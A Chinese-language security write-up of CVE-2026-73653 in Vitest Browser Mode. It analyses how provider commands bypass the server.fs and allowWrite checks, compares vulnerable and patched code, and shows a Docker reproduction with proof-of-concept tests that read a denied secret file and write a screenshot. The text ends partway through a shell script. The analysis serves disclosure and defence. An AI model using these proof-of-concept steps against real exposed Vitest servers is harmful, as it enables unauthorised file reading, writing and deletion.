CVE-2026-73653:Vitest Browser Mode 权限绕过漏洞原理与代码分析
`CVE-2026-73653` 的核心不是单个路径遍历点,而是 Vitest Browser Mode 里多条 `browser -> RPC -> provider -> filesystem` 链路同时缺失统一的权限检查。
时间线:
- GitHub Security Advisory 披露:2026-07-08
- NVD 收录:2026-08-13
- 本文验证日期:2026-08-16
影响版本:
< 3.2.7>= 4.0.0, < 4.1.10>= 5.0.0-beta.1, < 5.0.0-beta.6修复版本:
3.2.74.1.105.0.0-beta.6CVSS 3.1(GitHub CNA):
9.4 CRITICAL
TL;DR
CVE-2026-73653 的核心不是单个路径遍历点,而是 Vitest Browser Mode 里多条 browser -> RPC -> provider -> filesystem 链路同时缺失统一的权限检查。
脆弱版本中,浏览器侧可控参数最终进入下面这些命令:
uploadtakeScreenshotscreenshotMatcherstopChunkTracedeleteTracingannotateTraces
这些命令在修复前要么没有执行 allowWrite 检查,要么没有执行 server.fs 边界检查,要么两者都没有。结果是攻击者只要能触达 Browser Mode API,就可能在 Vitest 进程权限范围内获得本地文件读、写、删或外带能力;其中具体能打到哪些原语,还取决于底层 provider。
1. 执行架构:为什么浏览器代码能触达本地文件系统
理解这个漏洞,先要理解 Vitest Browser Mode 的执行边界。
表面上测试代码跑在浏览器里,但 Browser Mode 并不只是浏览器内脚本。浏览器侧的很多 API 调用,最终会被转发给 Node.js 侧命令处理器,再由 provider 去调用 Playwright 或 WebdriverIO 的本地能力。
抽象后的结构是:
图 1-1:Browser Mode 中浏览器侧调用如何跨过 RPC 边界进入 provider,并最终触达本地文件系统、trace 或 artifact 流程。
安全边界本来应该出现在两个地方:
- 浏览器传上来的路径,必须先过
server.fs约束 - 涉及写入、删除的动作,必须先过
allowWrite约束
这个 CVE 的问题在于,框架内部确实存在安全边界概念,但这些 provider commands 没有统一复用它。
也就是说,产品里同时存在:
- 一套“受控文件访问”逻辑
- 一批“绕过这套逻辑的内部捷径”
漏洞就是后者。
2. 根因概述
浏览器侧可控路径在穿过 RPC 边界后,被 provider 命令直接拼接、规范化或透传给文件系统 API,但没有统一授权和路径边界检查。
这会产生四类攻击后果:
类别 | 对应命令 | 后果 |
任意读取 |
| 读取本地文件内容 |
任意写入 |
| 写 PNG 或 trace 文件 |
任意删除 |
| 删除本地文件 |
文件外带 |
| 借 artifact attachment 带出本地文件 |
2.1 真实威胁模型:不是任何 Browser Mode 都等价高危
这个洞的风险判断,不能脱离真实部署方式。
GitHub 官方公告写得很清楚:如果 Browser Mode 只监听 localhost,且运行的测试代码本身可信,那么默认场景下并不存在一个“天然的外部攻击者”能直接打这条链。风险真正抬高,通常发生在下面两类场景:
场景 | 风险 | 原因 |
本机 | 相对较低 | 缺少低信任主体,漏洞更多体现为隔离模型不严 |
Browser Mode API 对外暴露,例如 | 高 | 远端客户端可直接走 |
把 | 高 | 这次漏洞恰好说明该边界会被内建命令绕过 |
这也是为什么这个洞一边有 GitHub CNA 给出的 9.4 CRITICAL,一边又不能简单理解成“所有本地开发者默认都会被远程打穿”。
3. 共享调用链:所有危险路径都先经过 triggerCommand
从 CodeQL 结果和源码看,这个洞不是分散无关的几个点,而是共享同一条跨边界分发模型。
最关键的公共节点有四个:
符号 | 文件 | 作用 |
|
| 浏览器侧通用命令分发入口 |
|
| locator 体系的命令分发入口 |
|
| Node 侧 RPC 总入口 |
|
| 命令内部二次分发 helper |
这意味着浏览器侧 API 一旦能控制参数,参数就会越过 RPC 边界进入 Node 侧 provider。后面的每个 provider command,实际上都在扮演“高权限代理”。
直接看脆弱版源码,这条跨边界分发链其实非常直白:
// packages/browser/src/client/tester/context.ts
function triggerCommand<T>(command: string, args: any[], error?: Error) {
return getBrowserState().commands.triggerCommand<T>(command, args, error)
}
export function createUserEvent(__tl_user_event_base__?: TestingLibraryUserEvent, options?: TestingLibraryOptions): UserEvent {
if (__tl_user_event_base__) {
return createPreviewUserEvent(__tl_user_event_base__, options ?? {})
}
const userEvent: UserEvent = {
upload(element, files: string | string[] | File | File[], options) {
return convertToLocator(element).upload(files, options)
},
} as UserEvent
}
// packages/browser/src/client/tester/locators.ts
public upload(files: string | string[] | File | File[], options?: UserEventUploadOptions): Promise<void> {
return ensureAwaited(async (error) => {
const filesPromise = (Array.isArray(files) ? files : [files]).map(async (file) => {
if (typeof file === 'string') {
return file
}
const bas64String = await new Promise<string>((resolve, reject) => {
const reader = new FileReader()
reader.onload = () => resolve(reader.result as string)
reader.onerror = () => reject(new Error(`Failed to read file: ${file.name}`))
reader.readAsDataURL(file)
})
return {
name: file.name,
mimeType: file.type,
base64: bas64String.slice(bas64String.indexOf(',') + 1),
}
})
return getBrowserState().commands.triggerCommand<void>(
'__vitest_upload',
[this.serialize(), await Promise.all(filesPromise), options],
error,
)
})
}
protected triggerCommand<T>(command: string, ...args: any[]): Promise<T> {
return ensureAwaited(error => triggerCommandWithTrace<T>({
name: command,
arguments: args,
errorSource: error,
}))
}// packages/browser/src/node/rpc.ts
async triggerCommand(sessionId, command, testPath, payload) {
const provider = project.browser!.provider
const context = Object.assign(
{
testPath,
project,
provider,
contextId: sessionId,
sessionId,
triggerCommand: (name: string, ...args: any[]) => {
return project.browser!.triggerCommand(
name as any,
context,
...args,
)
},
},
provider.getCommandsContext(sessionId),
) as BrowserCommandContext
return await project.browser!.triggerCommand(
command as any,
context,
...payload,
)
}这里最值得注意的不是某个单点函数,而是 Browser API 从设计上就允许浏览器把参数打进 Node 侧 project.browser!.triggerCommand(...)。后续每个 provider command 是否安全,完全取决于命令实现里有没有自己补权限检查。
3.1 一张表看完整攻击面
命令 | 主要 provider | 浏览器侧可控值 | 最终 sink | 后果 |
| Playwright / WebdriverIO | 文件名或路径 |
| 本地文件读取 |
| Playwright / WebdriverIO |
|
| 任意路径写 PNG |
| Browser core + provider | reference / actual / diff 输出路径 |
| 隐式写 reference、actual、diff |
| Playwright | trace |
| 写 trace 压缩包 |
| Playwright |
|
| 任意文件删除 |
| Playwright + artifact 流程 |
|
| 延迟型文件外带 |
从这张表可以看出,问题不在某个 API 名字危险,而在于这些命令都共享同一种架构位置:
- 输入来自浏览器侧
- 权限发生在 Node/provider 侧
- 最终触碰的是宿主机文件系统
所以真正该审计的不是单个测试 API,而是:
哪些 command 接受路径参数,以及这些路径在落到 sink 前有没有统一检查
3.2 Provider 差异:不是所有链都同等存在
这一点需要单独说明,因为它决定了“漏洞存在”与“实际可利用原语”之间的差异。
能力 | Playwright | WebdriverIO | 说明 |
| 是 | 是 | 官方公告明确把 |
| 是 | 是 | 两种 provider 都会把浏览器侧路径带到本地截图落盘 |
| 是 | 间接受影响 | matcher 属于 Browser core 逻辑,但底层截图仍依赖 provider |
| 是 | 否 | 这些链路直接依赖 Playwright tracing 能力 |
这意味着:
- 如果目标项目使用的是 Playwright provider,从源码调用链看,读、写、删、外带四类原语都有明确落点;本文的本地复现覆盖了其中读取和显式写入两条主链。
- 如果目标项目使用的是 WebdriverIO provider,依据官方公告与 provider 调用链,读取面和显式写盘面仍然成立;trace 相关原语不纳入本文的实证范围。
- 下文凡标注为“已复现”的结论,均指 Playwright provider 下的本地实验结果;涉及 WebdriverIO 的部分,均以公告和源码调用链分析为依据。
这类“框架层漏洞 + provider 差异”的问题比单体组件漏洞更值得警惕,因为同一个 Browser API 表面一致,底层实际暴露出的宿主能力却不完全相同。
4. 最高价值读取链:userEvent.upload() 为什么能变成任意文件读取
4.1 调用链
读取链最短,也最典型:
图 4-1:userEvent.upload() 从浏览器侧一路进入 provider,再把宿主机文件交给 setInputFiles(...)。
对应关键函数:
符号 | 文件:行 | 作用 |
|
| 浏览器测试 API 入口 |
|
| 序列化路径并触发 |
|
| Node/provider 侧处理器 |
|
| 基于项目根解析路径,但不会自动把路径限制在项目根内 |
|
| 将宿主文件注入 |
4.2 脆弱代码
export const upload: UserEventCommand<(element: SerializedLocator, files: Array<string | {
name: string
mimeType: string
base64: string
}>, options: UserEventUploadOptions) => void> = async (
context,
selector,
files,
options,
) => {
const testPath = context.testPath
if (!testPath) {
throw new Error(`Cannot upload files outside of a test`)
}
const root = context.project.config.root
const playwrightFiles = files.map((file) => {
if (typeof file === 'string') {
return resolve(root, file)
}
return {
name: file.name,
mimeType: file.mimeType,
buffer: Buffer.from(file.base64, 'base64'),
}
})
await getDescribedLocator(context, selector).setInputFiles(playwrightFiles as string[], options)
}4.3 问题成因
这一段的关键问题不在 resolve() 本身,而在于 resolve() 之后没有任何安全断言。resolve(root, file) 只负责路径解析,不会把结果强制限制在项目根目录内;绝对路径会被原样保留,../ 也可能把目标带到项目目录之外。
漏洞成立的逻辑是:
- 浏览器侧传入
secret.txt - provider 在 Node 侧把它解析成真实本地路径
- 这个路径没有经过
server.fs.deny或允许目录检查 setInputFiles(...)把宿主机文件直接喂给页面中的<input>- 浏览器再通过
input.files[0].text()把内容读回来
也就是说,upload() 实际上把“本地文件读取”包装成了“正常文件上传”。
从攻击视角看,这条链价值最高,因为它给的是直接内容泄露,而不是间接副作用。
5. 截图写入链:page.screenshot() 为什么能绕过 allowWrite: false
5.1 调用链
图 5-1:page.screenshot() 在 Node/provider 侧经过路径处理后,最终调用 Playwright 落盘。
关键函数如下:
符号 | 文件:行 | 作用 |
|
| 浏览器侧 |
|
| locator 截图入口 |
|
| Node 侧二次转发到 provider |
|
| Provider 真正执行截图 |
|
| 计算目标输出路径 |
|
| 为写文件创建目录 |
5.2 脆弱代码
export async function takeScreenshot(
context: BrowserCommandContext,
name: string,
options: Omit<ScreenshotCommandOptions, 'base64'>,
): Promise<{ buffer: Buffer<ArrayBufferLike>; path: string }> {
if (!context.testPath) {
throw new Error(`Cannot take a screenshot without a test path`)
}
const path = resolveScreenshotPath(
context.testPath,
name,
context.project.config,
options.path,
)
let savePath: string | undefined
if (options.save) {
savePath = normalize(path)
await mkdir(dirname(savePath), { recursive: true })
}
const mask = options.mask?.map(selector => getDescribedLocator(context, selector))
const { target, ...config } = options
const buffer = target === 'page'
? await context.page.screenshot({
...config,
mask,
path: savePath,
})
: await getDescribedLocator(context, { selector: 'body', locator: 'locator(\'body\')' }).screenshot({
...config,
mask,
path: savePath,
})
return { buffer, path }
}5.3 问题成因
这一条链的问题比读取链更直观。
配置明明允许用户声明:
api: {
allowWrite: false,
}但是 takeScreenshot() 在 options.save 为真时,仍然直接走:
normalize(path)mkdir(dirname(savePath))page.screenshot({ path: savePath })
执行过程是:
- 没有检查“当前 Browser API 是否允许写”
- 没有检查“这个路径是否仍在
server.fs允许范围内”
因此,这个漏洞的本质是“命令实现无视策略层”,而不是“策略层不存在”。
5.4 这条链的边界意义
很多人会把 allowWrite 理解成“防止不可信客户端借 Browser API 修改宿主机文件”的总开关。这个理解本身是对的,而漏洞恰恰在于内建命令没有尊重这个总开关。
所以修复前的真实情况是:
- 文档宣称有策略
- 配置里也确实开了策略
- 但命令实现绕过了策略
这类问题在安全工程里通常比“完全没做权限控制”更难发现,因为开发者会被已有配置项带来的安全感误导。
6. toMatchScreenshot():第二条写盘链
6.1 调用链
图 6-1:toMatchScreenshot() 虽然表面是断言,但在 side effect 分支里仍会进入真实文件写入。
关键符号:
符号 | 文件:行 | 作用 |
|
| 浏览器测试侧入口 |
|
| Node 侧 matcher 主处理器 |
|
| 复用 |
|
| 不同结果分支下执行落盘 |
|
| 最终文件写入 |
6.2 脆弱代码
async function performSideEffects(
outcome: MatchOutcome,
codec: AnyCodec,
): Promise<void> {
switch (outcome.type) {
case 'missing-reference':
case 'update-reference': {
await writeScreenshot(
outcome.reference.path,
await encodeScreenshot(outcome.reference, codec),
)
break
}
case 'mismatch': {
await writeScreenshot(
outcome.actual.path,
await encodeScreenshot(outcome.actual, codec),
)
if (outcome.diff) {
await writeScreenshot(
outcome.diff.path,
await codec.encode(outcome.diff.image, {}),
)
}
break
}
}
}
async function writeScreenshot(path: string, image: TypedArray) {
try {
await mkdir(dirname(path), { recursive: true })
await writeFile(path, image)
}
catch (cause) {
throw new Error('Couldn\'t write file to fs', { cause })
}
}6.3 为什么这条链容易被漏审
toMatchScreenshot() 看上去像一个“纯测试断言”能力,很多审计会把重点放在 page.screenshot() 这种显式文件操作上,而忽略 matcher 的副作用。
但从安全角度看,这里并不是“只在内存里比较图片”:
missing-reference分支会写 reference 图update-reference分支会重写 reference 图mismatch分支会写 actual / diff 图
这意味着 matcher 实际上带着多个隐式写盘分支。
如果审计只检查“表面上接收 path 参数的 API”,这类 side-effect sink 很容易漏掉。
7. trace 链最复杂:同时包含写、删、外带
7.1 调用链
trace 相关逻辑不是单点 API,而是 Browser runner 在测试生命周期内自动触发:
图 7-1:trace 生命周期里同时存在写 trace、删 trace 和把 trace 作为 artifact 继续传递的三条分支。
关键符号如下:
符号 | 文件:行 | 作用 |
|
| 触发 trace chunk 收尾 |
|
| 触发删除或 annotation |
|
| 写 trace 文件 |
|
| 计算 trace 落盘路径 |
|
| 删除路径 |
|
| 把路径包装成 attachment |
|
| Browser RPC artifact 入口 |
7.2 脆弱代码
function resolveTracesPath({ testPath, project }: BrowserCommandContext, name: string) {
if (!testPath) {
throw new Error(`This command can only be called inside a test file.`)
}
const options = project.config.browser!.trace
const sanitizedName = `${project.name.replace(/[^a-z0-9]/gi, '-')}-${name}.trace.zip`
if (options.tracesDir) {
return resolve(options.tracesDir, sanitizedName)
}
const dir = dirname(testPath)
const base = basename(testPath)
return resolve(
dir,
'__traces__',
base,
`${project.name.replace(/[^a-z0-9]/gi, '-')}-${name}.trace.zip`,
)
}
export const stopChunkTrace: BrowserCommand<[{ name: string }]> = async (
context,
{ name },
) => {
if (isPlaywrightProvider(context.provider)) {
const path = resolveTracesPath(context, name)
context.provider.pendingTraces.delete(path)
await context.context.tracing.stopChunk({ path })
return { tracePath: path }
}
throw new TypeError(`The ${context.provider.name} provider does not support tracing.`)
}
export const deleteTracing: BrowserCommand<[{ traces: string[] }]> = async (
context,
{ traces },
) => {
if (isPlaywrightProvider(context.provider)) {
return Promise.all(
traces.map(trace => unlink(trace).catch((err) => {
if (err.code === 'ENOENT') {
return
}
throw err
})),
)
}
throw new Error(`provider ${context.provider.name} is not supported`)
}
export const annotateTraces: BrowserCommand<[{ traces: string[]; testId: string }]> = async (
{ project },
{ testId, traces },
) => {
const vitest = project.vitest
await Promise.all(traces.map((trace) => {
return vitest._testRun.recordArtifact(testId, {
type: 'internal:annotation',
annotation: {
message: relative(project.config.root, trace),
type: 'traces',
attachment: {
path: trace,
contentType: 'application/octet-stream',
},
},
})
}))
}// packages/browser/src/node/rpc.ts
async onTaskArtifactRecord(id, artifact) {
if (!canWrite(project)) {
if (artifact.type === 'internal:annotation' && artifact.annotation.attachment) {
artifact.annotation.attachment = undefined
vitest.logger.error(
`[vitest] Cannot record annotation attachment because file writing is disabled. See https://vitest.dev/config/browser/api.`,
)
}
if (artifact.attachments?.length) {
const attachments = artifact.attachments.map(n => n.path).filter(r => !!r).join('", "')
artifact.attachments = []
vitest.logger.error(
`[vitest] Cannot record attachments ("${attachments}") because file writing is disabled, removing attachments from artifact "${artifact.type}". See https://vitest.dev/config/browser/api.`,
)
}
}
return vitest._testRun.recordArtifact(id, artifact)
}7.3 这条链比前两条更危险的原因
因为它同时包含三种原语:
stopChunkTrace:可写deleteTracing:可删annotateTraces:可外带
尤其是 annotateTraces(),它不会直接读取并返回内容,而是把路径写入 attachment.path,再交给 artifact 流程。
这意味着信息泄露未必发生在命令执行瞬间,而可能出现在后续 reporter / artifact copy 阶段。文件外带实际上是“延迟执行”的。
这种模式值得特别关注,因为很多现代工具链的泄露点都不在第一跳,而在后续收集、压缩、上传和报告流程里。
7.4 为什么说这是“延迟外带”模型
如果把 annotateTraces() 只看成一个普通命令,很容易低估它的危险性。更准确的执行过程是:
图 7-2:annotateTraces() 的危险点不在第一跳直接读文件,而在后续 artifact 流程里延迟触发文件复制或导出。
第一跳只是“声明一个本地路径值得被收集”,真正的文件访问可能发生在第二跳甚至第三跳。
这类漏洞的研究价值很高,因为它提醒你:
metadata也是输入attachment.path也是文件系统入口- “不是现在读文件”不等于“后面不会读文件”
8. 统一看根因:为什么这是“权限模型断层”而不是单点路径遍历
如果把这个洞简单归类成 CWE-22 路径遍历,只说对了一部分。
更准确的根因拆解应该是:
- 浏览器侧可控路径越过 RPC 边界进入 Node/provider
- provider commands 各自实现文件操作,没有统一安全网关
server.fs限制没有在所有文件触达点执行allowWrite限制没有在所有写入、删除触达点执行- artifact attachment 路径在允许写分支下缺少进一步约束
所以这是一个典型的“局部做了安全控制,但架构没有强制所有路径复用”的问题。
只要安全控制不是 mandatory choke point,而只是“建议各命令自己调用”,最终就一定会长出旁路。
9. 补丁分析:修复的核心是把安全检查从分散变成统一
主修复提交:
33f96a145ef09ca6a43b4e555eb273e64a87be23
从提交规模看,这也不是一次“顺手补个 if”的小修。主修复提交一共修改了 245 行,范围覆盖 provider command、Browser RPC、公用 utils 和回归测试。这个信息本身就说明,维护者已经把它当成架构层缺陷,而不是单一 API 漏检。
这次修复最关键的变化,是新增两个统一检查函数:
export function slash(path: string): string {
return path.replace(/\\/g, '/').replace(/\/+/g, '/')
}
export function assertBrowserFileAccess(project: TestProject, path: string): void {
const normalized = slash(path)
if (
!isFileLoadingAllowed(project.vite.config, normalized)
&& !isFileLoadingAllowed(project.vitest.vite.config, normalized)
) {
throw new Error(
`Access denied to "${path}". See Vite config documentation for "server.fs": https://vitejs.dev/config/server-options.html#server-fs-strict.`,
)
}
}
export function assertBrowserApiWrite(project: TestProject, path: string): void {
if (!project.config.browser.api.allowWrite || !project.vitest.config.api.allowWrite) {
throw new Error(
`Cannot modify file "${path}". File writing is disabled because the server is exposed to the internet, see https://vitest.dev/config/browser/api.`,
)
}
}这两个函数分别对应两道真正该存在的闸门:
assertBrowserFileAccess(...)
- 负责路径边界
- 复用 Vite
server.fs语义 - 拒绝越界路径和 deny-list 路径
assertBrowserApiWrite(...)
- 负责写权限策略
- 在 Browser API 暴露场景下执行写入/删除阻断
9.1 upload 的修复
修复前:
if (typeof file === 'string') {
return resolve(root, file)
}修复后:
if (typeof file === 'string') {
const filepath = resolve(root, file)
assertBrowserFileAccess(context.project, filepath)
return filepath
}关键点是:读取链不需要 allowWrite,但必须过 server.fs 边界。
9.2 takeScreenshot 的修复
修复前:
if (options.save) {
savePath = normalize(path)
await mkdir(dirname(savePath), { recursive: true })
}修复后:
if (options.save) {
savePath = normalize(path)
assertBrowserApiWrite(context.project, savePath)
assertBrowserFileAccess(context.project, savePath)
await mkdir(dirname(savePath), { recursive: true })
}关键点是:写盘前同时检查“允不允许写”和“允不允许访问这个路径”。
9.3 trace 链的修复
trace 相关修复最说明问题,因为它覆盖了三种动作:
stopChunkTrace写 trace 前加assertBrowserApiWrite + assertBrowserFileAccessdeleteTracing删除前对每个 trace 路径加同样检查annotateTraces记录 artifact 前也加同样检查
这说明维护者已经把问题认识成“凡是命令触碰文件系统,都必须统一过闸”,而不是“只修一两个高曝光 API”。
直接看修复后的关键片段更清楚:
export const stopChunkTrace: BrowserCommand<[{ name: string }]> = async (
context,
{ name },
) => {
if (isPlaywrightProvider(context.provider)) {
const path = resolveTracesPath(context, name)
assertBrowserApiWrite(context.project, path)
assertBrowserFileAccess(context.project, path)
context.provider.pendingTraces.delete(path)
await context.context.tracing.stopChunk({ path })
return { tracePath: path }
}
}
export const deleteTracing: BrowserCommand<[{ traces: string[] }]> = async (
context,
{ traces },
) => {
if (isPlaywrightProvider(context.provider)) {
for (const trace of traces) {
assertBrowserApiWrite(context.project, trace)
assertBrowserFileAccess(context.project, trace)
}
return Promise.all(traces.map(trace => unlink(trace).catch(/* ... */)))
}
}
export const annotateTraces: BrowserCommand<[{ traces: string[]; testId: string }]> = async (
{ project },
{ testId, traces },
) => {
await Promise.all(traces.map((trace) => {
assertBrowserApiWrite(project, trace)
assertBrowserFileAccess(project, trace)
return vitest._testRun.recordArtifact(testId, {
type: 'internal:annotation',
annotation: {
attachment: {
path: trace,
contentType: 'application/octet-stream',
},
},
})
}))
}9.4 screenshotMatcher 的修复
修复前:
async function writeScreenshot(path: string, image: TypedArray) {
await mkdir(dirname(path), { recursive: true })
await writeFile(path, image)
}修复后:
async function performSideEffects(
outcome: MatchOutcome,
codec: AnyCodec,
project: TestProject,
): Promise<void> {
switch (outcome.type) {
case 'missing-reference':
case 'update-reference':
await writeScreenshot(
outcome.reference.path,
await encodeScreenshot(outcome.reference, codec),
project,
)
break
case 'mismatch':
await writeScreenshot(
outcome.actual.path,
await encodeScreenshot(outcome.actual, codec),
project,
)
if (outcome.diff) {
await writeScreenshot(
outcome.diff.path,
await codec.encode(outcome.diff.image, {}),
project,
)
}
break
}
}
async function writeScreenshot(path: string, image: TypedArray, project: TestProject) {
assertBrowserApiWrite(project, path)
assertBrowserFileAccess(project, path)
await mkdir(dirname(path), { recursive: true })
await writeFile(path, image)
}这里的价值在于,连 matcher 这种“容易被当内部逻辑”的 side effect 也被纳入统一防线。
9.5 artifact 路径的修复
rpc.ts 里修复前的 artifact 处理逻辑,只会在 !canWrite(project) 时移除 attachment,但对允许写的分支没有继续校验路径。
修复后,attachment path 在允许分支里也会被检查。这个变化很关键,因为它阻断的是“借报告链路外带本地文件”的后半段。
修复后的 rpc.ts 关键上下文如下:
async onTaskArtifactRecord(id, artifact) {
if (!canWrite(project)) {
// 省略:禁写时移除 attachment / attachments
}
else {
const attachments = artifact.type === 'internal:annotation'
? (artifact.annotation.attachment ? [artifact.annotation.attachment] : [])
: (artifact.attachments ?? [])
for (const attachment of attachments) {
const path = attachment.path
if (path && !path.startsWith('http://') && !path.startsWith('https://')) {
checkFileAccess(resolve(project.config.root, path))
}
}
}
return vitest._testRun.recordArtifact(id, artifact)
}9.6 这次补丁真正建立了什么安全不变量
如果只把这次修复理解成“多加了几个检查函数”,还是不够深入。
它真正建立的是下面四条安全不变量:
- 凡是浏览器侧传进来的文件路径,只要会落到宿主机文件系统,必须统一经过
assertBrowserFileAccess(...)。 - 凡是会写、删、覆盖、复制本地文件的动作,必须统一经过
assertBrowserApiWrite(...)。 - artifact attachment 不是普通元数据,而是另一种文件路径输入,也必须按文件访问处理。
- 安全校验必须贴近 sink 执行,而不是只放在更高层的 API 或配置层。
这就是为什么这次修复比“拦某个 payload”更有价值。它修的是安全模型,而不是修某一个路径字符串。
9.7 回归测试证据:权限契约已经被编码
这次补丁还新增了几组很有代表性的回归测试:
command-permissions-upload-deniedcommand-permissions-screenshot-deniedcommand-permissions-screenshot-no-write
这些测试对应的不是功能正确性,而是权限契约。从上游 errors.test.ts 的断言看,修复后的预期行为已经被编码成明确错误:
Access denied to "<root>/my-secret.txt"Access denied to "<root>/my-secret.png"Cannot modify file "<root>/out.png"
这类测试的意义在于:以后就算有人重构 provider 命令,只要又把某条路径绕开了统一闸门,测试就会第一时间炸掉。
9.8 补丁完整性审计:覆盖范围与剩余风险
这里最关键的问题不是“有没有补丁”,而是“补丁是否已经把这类问题整体收口”。
基于本文本地 CodeQL 结果、人工复核的调用链,以及主修复提交本身,可以得出三个层次的结论:
- 在本次 CVE 已公开的文件触达面内,主线补丁覆盖是比较完整的。
upload、takeScreenshot、screenshotMatcher、stopChunkTrace、deleteTracing、annotateTraces、artifact attachment 处理都已经被纳入统一闸门。 - 补丁不只是修 provider 命令,还补到了 RPC artifact 入口。
这很关键,因为否则annotateTraces这类“第一跳只写 metadata、第二跳才读文件”的路径仍可能残留旁路。 - 这次修复仍然不是 capability-based 设计。
它已经把 mandatory gate 做强了,但未来如果新增命令绕开assertBrowserFileAccess(...)/assertBrowserApiWrite(...),同类问题仍可能复发。
可以把这次修复理解为从“局部补洞”提升到“统一守门”,但还没有进化到“默认无权限、只能通过能力对象显式申请文件操作”的更强模型。
9.9 分支回补差异本身也说明攻击面并不完全一致
主线修复之后,又分别回补到 v4 和 v3。这点不只是版本维护信息,还能反向说明各分支的实际攻击面不完全相同。
从本地底稿整理的 PR 信息看,v3 回补重点是当时分支里实际存在的 upload、screenshot、onTaskAnnotate 等路径,而不是机械地把主线所有代码原样搬回去。
这说明两件事:
- 同一个 CVE 在不同大版本上的“具体攻击面”可能略有差异。
- 做补丁完整性评估时,不能只看 GHSA 标题,还要看分支里实际存在哪些命令和 sink。
10. 本地复现:脆弱版与修复版对照验证
为了避免宿主机 Node、浏览器依赖、Playwright 运行时差异干扰结果,测试执行统一放在 Docker 容器内完成,宿主机只负责提供 Docker 和挂载输出目录。
这套实验只验证两条最关键、也最容易稳定复现的原语:
userEvent.upload(input, 'secret.txt')是否能绕过server.fs.denypage.screenshot({ path: '/app/repro-output/out.png' })是否能绕过allowWrite: false
10.1 先把实验骨架钉死:两个版本、同一套容器入口
整个实验只做一件事:让脆弱版和修复版跑完全相同的测试思路,只改 Vitest 版本,看行为是否翻转。
两个服务的切换入口就在 docker-compose.yml:
services:
vulnerable:
build:
context: .
args:
VITEST_VERSION: 4.1.9
PLAYWRIGHT_VERSION: 1.54.0
environment:
TARGET_TEST: tests/vulnerable.test.js
REPORT_FILE: /app/repro-output/report.txt
volumes:
- ./repro-output/vulnerable:/app/repro-output
fixed:
build:
context: .
args:
VITEST_VERSION: 4.1.10
PLAYWRIGHT_VERSION: 1.54.0
environment:
TARGET_TEST: tests/fixed.test.js
REPORT_FILE: /app/repro-output/report.txt
volumes:
- ./repro-output/fixed:/app/repro-output镜像本身也没有隐藏逻辑,关键就是把 Browser Mode 运行环境固定在容器里,并通过构建参数切换依赖版本:
FROM node:20-bookworm
WORKDIR /app
COPY vitest.config.mjs /app/vitest.config.mjs
COPY secret.txt /app/secret.txt
COPY entrypoint.sh /app/entrypoint.sh
COPY tests /app/tests
ARG VITEST_VERSION=4.1.9
ARG PLAYWRIGHT_VERSION=1.54.0
RUN corepack enable \
&& corepack prepare pnpm@9.15.9 --activate \
&& pnpm add -D "vitest@${VITEST_VERSION}" "@vitest/browser@${VITEST_VERSION}" "@vitest/browser-playwright@${VITEST_VERSION}" "playwright@${PLAYWRIGHT_VERSION}" \
&& pnpm exec playwright install --with-deps chromium被读取的目标文件也非常简单,secret.txt 只有一行内容:
TOP_SECRET_DO_NOT_READ这样一来,读取链是否打穿就不需要复杂判断:
- 如果
upload()被拒绝,说明server.fs闸门还在 - 如果页面最终读到
TOP_SECRET_DO_NOT_READ,说明 provider 命令已经绕过了这层闸门
同理,/app/repro-output/out.png 的存在与否,也能直接说明 allowWrite: false 到底有没有被真正尊重。
真正决定实验成败的是 Browser Mode 配置本身。本文复现固定了一个明确的“应拒绝”基线:
import { playwright } from '@vitest/browser-playwright'
import { defineConfig } from 'vitest/config'
export default defineConfig({
server: {
fs: {
deny: ['secret.txt'],
},
},
test: {
browser: {
enabled: true,
provider: playwright(),
headless: true,
screenshotFailures: false,
api: {
host: '0.0.0.0',
port: 63315,
strictPort: true,
allowExec: false,
allowWrite: false,
},
instances: [
{
browser: 'chromium',
},
],
},
},
})这里有两个故意设下的安全断言:
server.fs.deny = ['secret.txt'],按理说浏览器侧不应读到这个文件browser.api.allowWrite = false,按理说浏览器侧不应写出截图文件
后面的所有复现步骤,本质上都是在验证这两条策略到底有没有被底层 command 真正执行。
10.2 先把脆弱版测试写清楚:两条链怎么被触发
脆弱版测试并不复杂,第一段直接验证 upload() 读取链:
test('reads a denied file through upload()', async () => {
document.body.innerHTML = `
<main>
<input id="upload-target" type="file" />
<pre id="leak-output">Waiting for upload()...</pre>
</main>
`
const input = document.querySelector('#upload-target')
const output = document.querySelector('#leak-output')
await userEvent.upload(input, 'secret.txt')
const leaked = await input.files[0].text()
output.textContent = `LEAKED_SECRET:${leaked}`
console.log(`LEAKED_SECRET:${leaked}`)
await page.screenshot({ path: '/app/repro-output/browser-upload-leak.png' })
expect(leaked).toContain('TOP_SECRET_DO_NOT_READ')
})这里最关键的动作只有三步:
- 浏览器侧把字符串路径
secret.txt送进userEvent.upload() - 如果 provider 没有尊重
server.fs.deny,input.files[0]就会拿到真实宿主文件 - 测试再调用
text()把内容读回浏览器上下文,并打印LEAKED_SECRET:...
第二段测试直接验证截图写入链:
test('writes a screenshot even when browser.api.allowWrite is false', async () => {
document.body.innerHTML = `
<main>
<section>
<h1>Screenshot write bypass</h1>
<p>This page is being saved to <code>/app/repro-output/out.png</code> even though <code>allowWrite</code> is disabled.</p>
</section>
</main>
`
await page.screenshot({ path: '/app/repro-output/out.png' })
expect(true).toBe(true)
})这里故意把路径写成容器内绝对路径 /app/repro-output/out.png,原因很直接:这样一旦漏洞存在,产物就会稳定落到挂载目录,而不是被相对路径解析行为干扰。
10.3 容器内环境确认
进入脆弱版容器后,先确认运行时版本和工作目录,确保测试是在容器内 /app 目录执行,而不是误落到宿主机环境。
node -v
pnpm -v
pnpm exec playwright --version
ls -1图 10-1:脆弱版容器内的 Node、pnpm、Playwright 版本和 /app 工作目录内容。
环境要点如下:
- 容器基线是
node:20-bookworm - Playwright 版本固定为
1.54.0 - 测试、配置、秘密文件都直接位于
/app下,路径关系非常简单,不存在“跑错目录才触发”的偶然因素
10.4 脆弱版:执行入口和结果如何对应
宿主机侧并没有额外魔法,entrypoint.sh 只是把测试目标和日志输出路径接起来:
#!/usr/bin/env bash
set -euo pipefail
TARGET_TEST="${TARGET_TEST:-tests/vulnerable.test.js}"
REPORT_FILE="${REPORT_FILE:-/app/repro-output/report.txt}"
mkdir -p /app/repro-output
rm -f /app/repro-output/out.png "$REPORT_FILE"
/app/node_modules/.bin/vitest run --config /app/vitest.config.mjs "$TARGET_TEST" --reporter=verbose | tee "$REPORT_FILE"脆弱版的一键入口也同样很短:
#!/usr/bin/env bash
set -euo pipefail
mkdir -p "${ROOT_DIR}/repro-output/vulnerable"
rm -f "${ROOT_DIR}/repro-output/vulnerable/out.png" "${ROOT_DIR}/repro-output/vulnerable/report.txt"
